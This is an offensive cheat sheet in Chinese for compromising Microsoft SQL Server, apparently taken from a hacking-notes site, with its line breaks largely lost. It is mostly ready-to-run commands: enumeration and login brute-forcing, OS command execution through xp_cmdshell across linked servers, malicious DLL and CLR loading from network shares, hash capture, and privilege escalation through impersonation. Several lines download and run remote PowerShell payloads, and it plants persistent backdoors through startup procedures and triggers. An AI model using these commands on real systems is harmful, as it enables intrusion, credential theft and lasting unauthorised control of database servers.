
數據庫枚舉的基本 SQL Server 查詢
#View all db in an instanceGet-SQLQuery -Instance <instance> -Query "SELECT name FROM sys.databases"#View all tablesGet-SQLQuery -Instance <instance> -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.TABLES" #View all cols in all tables in a dbGet-SQLQuery -Instance <instance> -Query "SELECT * FROM Employees.INFORMATION_SCHEMA.columns"#View data in tableGet-SQLQuery -Instance <instance> -Query "USE Employees;SELECT * FROM ITEmployees"枚舉 SPN / 查找 MSSQL 服務器
#TCP/UDP port scanGet-SQLInstanceScanUDP#DB in the domainGet-SQLInstanceDomain#Local DBGet-SQLInstanceLocal收集信息
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose檢查訪問
Get-SQLConnectionTestThreadedGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded -VerboseGet-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Username sa -Password Password -Verbose枚舉數據庫用戶
Get-SQLFuzzServerLogin -Instance <instance> -Verbose檢查模擬權
Invoke-SQLAudit -Verbose -Instance instance.domain.local枚舉 SQL Server 鏈接
數據庫鏈接允許 SQL Server 訪問外部數據源,如其他 SQL Server 和 OLE DB 數據源。
在 SQL 服務器之間的數據庫鏈接的情況下,即鏈接的 SQL 服務器,可以執行存儲過程。
數據庫鏈接甚至可以跨林信任工作。
Get-SQLServerLink -Instance <instance> -Verbose#Orselect * from master..sysservers枚舉數據庫鏈接
Get-SQLServerLinkCrawl -Instance <instance> -Verbose#Orselect * from openquery("<instance>",'select * from openquery("<instance2>",''select * from master..sysservers'')')枚舉域用戶
Get-SQLFuzzDomainAccount -Instance <instance.domain.local> -StartId 500 -EndId 2000 -Verbose命令執行xp_cmdshell
在目標服務器上,任何一個xp_cmdshell都應該已經啟用;
如果啟用rpcout(默認禁用),xp_cmdshell可以使用以下命令啟用:
EXECUTE('sp_configure ''Show Advanced Options'',1;reconfigure;') AT "<instance>" EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "<instance>"如果rpcout被禁用但我們是sa,則可以使用EXEC sp_serveroption 'LinkedServer', 'rpc out', 'true'。
通過 DB 鏈接執行的命令:
Get-SQLServerLinkCrawl -Instance <instance> -Query "exec master..xp_cmdshell 'whoami'"Get-SQLServerLinkCrawl -Instance <instance> -Query 'exec master..xp_cmdshell "powershell -c iex (new-object net.webclient).downloadstring(''http://172.16.100.168:8080/Invoke-HelloWorld.ps1'')"'#Orselect * from openquery("<instance>",'select * from openquery("<instance2>",''select * from openquery("<instance3>.domain.local",''''select @@version as version;exec master..xp_cmdshell "powershell whoami)'''')'')')使用 PowerUpSQL:
Invoke-SQLOSCmd -Username sa -Password <password> -Instance <instance> -Command whoami擴展存儲過程
充當 SQL 服務器擴展的 DLL。DLL 需要在磁盤上。
在 DLL 中註冊每個擴展存儲過程都需要 sysadmin 權限。
以服務帳戶的權限執行,並在 SQL Server 的進程空間中運行。
DLL 可以具有任何文件擴展名,也可以從 UNC 路徑或 Webdav 加載。
Create-SQLFileXpDll -OutFile C:\fileserver\xp_calc.dll -Command "calc.exe" -ExportName xp_calcGet-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "sp_addextendedproc 'xp_calc', '\\192.168.15.2\fileserver\xp_calc.dll'"Get-SQLQuery -UserName sa -Password <password> -Instance <instance> -Query "EXEC xp_calc"列出現有的擴展過程
Get-SQLStoredProcedureXP -Instance <instance> -VerboseCLR 程序集
CLR(Common Language Runtime)是.NET框架提供的運行時環境。SQL Server 支持 CLR 集成,它允許通過導入 DLL 來編寫存儲過程和其他內容。
CLR 集成默認關閉,默認情況下需要系統管理員權限才能使用它。創建程序集、更改程序集或DDL_Admin角色也可以使用它。
執行以服務帳戶的權限進行。
use msdbGO-- Enable show advanced options on the serversp_configure 'show advanced options',1RECONFIGUREGO-- Enable clr on the serversp_configure 'clr enabled',1RECONFIGUREGO-- Import the assemblyCREATE ASSEMBLY my_assemblyFROM '\\192.168.15.2\fileserver\cmd_exec.dll'WITH PERMISSION_SET = UNSAFE;GO-- Link the assembly to a stored procedureCREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];GOcmd_exec 'whoami'-- CleanupDROP PROCEDURE cmd_execDROP ASSEMBLY my_assembly使用 PowerUpSQL
#Create C# code for the DLL, the DLL and SQL query with DLL as hexadecimal stringCreate-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\user\Desktop#Execute command using CLR assemblyInvoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -Verbose#List all the stored procedures added using CLRGet-SQLStoredProcedureCLR -Instance <instance> -VerboseOle 自動化程序
允許使用 SQL 查詢使用 COM 對象的系統存儲過程。
默認關閉。啟用它需要 syadmin 權限。
執行權限,sp_OACreate也sp_OAMethod可用於執行。
執行以服務帳戶的權限進行。
Invoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "whoami" -VerboseInvoke-SQLOSCmdCLR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose代理工作
SQL Server 代理是執行計劃任務或作業的 Windows 服務。
可以調度、執行作業以響應警報或使用sp_start_job存儲過程。
需要 sysadmin 角色才能創建作業。
也可以使用在 msdb 數據庫中具有SQLAgentUserRole、SQLAgentReaderRole和SQLAgentOperatorRole固定數據庫角色的非系統管理員用戶。
如果未配置代理帳戶,則使用 SQL Server 代理服務帳戶的權限執行。
-- PowerShellUSE msdbEXEC dbo.sp_add_job @job_name = N'PSJob'EXEC sp_add_jobstep @job_name = N'PSJob', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5EXEC dbo.sp_add_jobserver @job_name = N'PSJob'EXEC dbo.sp_start_job N'PSJob'-- EXEC dbo.sp_delete_job @job_name = N'PSJob'-- CmdExecUSE msdbEXEC dbo.sp_add_job @job_name = N'cmdjob' EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'EXEC dbo.sp_start_job N'cmdjob';-- EXEC dbo.sp_delete_job @job_name = N'cmdJob'使用 PowerUpSQL
Invoke-SQLOSCmdAgentJob -Subsystem PowerShell -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose -Subsystem CmdExec -Subsystem VBScript -Subsystem Jscript其他腳本:
R
sp_configure 'external scripts enabled'GOEXEC sp_execute_external_script @language=N'R',@script=N'OutputDataSet <- data.frame(system("cmd.exe /c dir",intern=T))'WITH RESULT SETS (([cmd_out] text));GO-- Grab Net-NTLM hash@script=N'.libPaths("\\\\testhost\\foo\\bar");library("0mgh4x")'-- Or@script=N'OutputDataSet <-data.frame(shell("dir",intern=T))'Python
EXEC sp_execute_external_script @language =N'Python',@script=N'import subprocess p = subprocess.Popen("cmd.exe /c whoami", stdout=subprocess.PIPE) OutputDataSet = pandas.DataFrame([str(p.stdout.read(), "utf-8")])'WITH RESULT SETS (([cmd_out] nvarchar(max)))PowerUpSQL
#RInvoke-SQLOSCmdR -Username sa -Password <password> -Instance <instance> -Command "powershell –e <base64encodedscript>" -Verbose#PythonInvoke-SQLOSCmdPython-Usernamesa-Password<password>-Instance<instance>-Command"powershell–e<base64encodedscript>"-Verbose權限提升
對系統管理員公開 - 模擬
可以通過User Impersonation來實現Execute AS
檢查模擬權
Invoke-SQLAuditPrivImpersonateLogin -Username <username> -Password <password> -Instance <instance> -Verbose模擬用戶
Invoke-SQLAuditPrivImpersonateLogin -Instance <instance> -Exploit -Verbose對系統管理員公開 - 值得信賴的數據庫
is_trustworthy_on用於指示 SQL Server 實例是否信任數據庫及其內容的數據庫屬性 ( )。
當 TRUSTWORTHY 關閉時,模擬用戶(通過使用 EXECUTE AS)將僅具有數據庫範圍的權限,但當 TRUSTWORTHY 打開時,模擬用戶可以執行具有服務器級別權限的操作。這允許編寫可以執行使用服務器級別權限的代碼的程序。
如果 TRUSTWORTHY 設置設置為 ON,並且 sysadmin(不一定是 sa)是數據庫的所有者,則數據庫所有者(具有 的用戶db_owner)可以將權限提升到 sysadmin。
尋找值得信賴的
SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY from sys.databasesPowerUpSQL
Invoke-SQLAudit -Instance <instance.domain.local> -Verbose | Out-GridViewInvoke-SQLAuditPrivTrustworthy -Instance <instance> -Verbose尋找 db_owner 角色
use <database>SELECT DP1.name AS DatabaseRoleName, isnull (DP2.name, 'No members') AS DatabaseUserNameFROM sys.database_role_members AS DRM RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id WHERE DP1.type = 'R'ORDER BY DP1.name;執行為:
EXECUTE AS USER = 'dbo'SELECT system_userEXEC sp_addsrvrolemember 'domain\user','sysadmin'公共服務帳戶
UNC 路徑注入
Invoke-SQLUncPathInjection -Verbose -CaptureIp 192.168.15.2服務帳戶到 SYSTEM
持久性 - 啟動存儲過程
每次重新啟動 SQL 服務時重新啟動的過程
-- Create a stored procedureUSE masterGOCREATE PROCEDURE sp_autopsASEXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'GO-- Mark the stored procedure for automatic executioEXEC sp_procoption @ProcName = 'sp_autops', @OptionName = 'startup', @OptionValue = 'on';-- Now, whenever the SQL Server service is restarted, the sp_autops stored procedure will be executed thereby executing our PowerShell payload-- List stored procedures marked for automatic execution:SELECT [name] FROM sysobjects WHERE type = 'P' AND OBJECTPROPERTY(id, 'ExecIsStartUp') = 1;觸發器
DDL 觸發器
CREATE Trigger [persistence_ddl_1]ON ALL Server -- or DATABASEFOR DDL_LOGIN_EVENTS -- See the docs below for events and event groupsASEXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'GODML 觸發器
USE masterGRANT IMPERSONATE ON LOGIN::sa to [Public];USE testdbCREATE TRIGGER [persistence_dml_1]ON testdb.dbo.datatableFOR INSERT, UPDATE, DELETE ASEXECUTE AS LOGIN = 'sa'EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'GO登錄觸發器
CREATE Trigger [persistence_logon_1]ON ALL SERVER WITH EXECUTE AS 'sa'FOR LOGONASBEGINIF ORIGINAL_LOGIN() = 'testuser'EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString(''http://webserver/payload.ps1'')"'END;登記處
將xp_regread(作為系統管理員)與 PowerUpSQL 一起使用。以下命令從註冊表讀取自動登錄密碼。
Get-SQLRecoverPwAutoLogon -Username sa -Password <password> -Instance <instance> -Verbosehttps://hideandsec.sh/books/cheatsheets-82c/page/mssql#bkmrk-enumerate-sql-server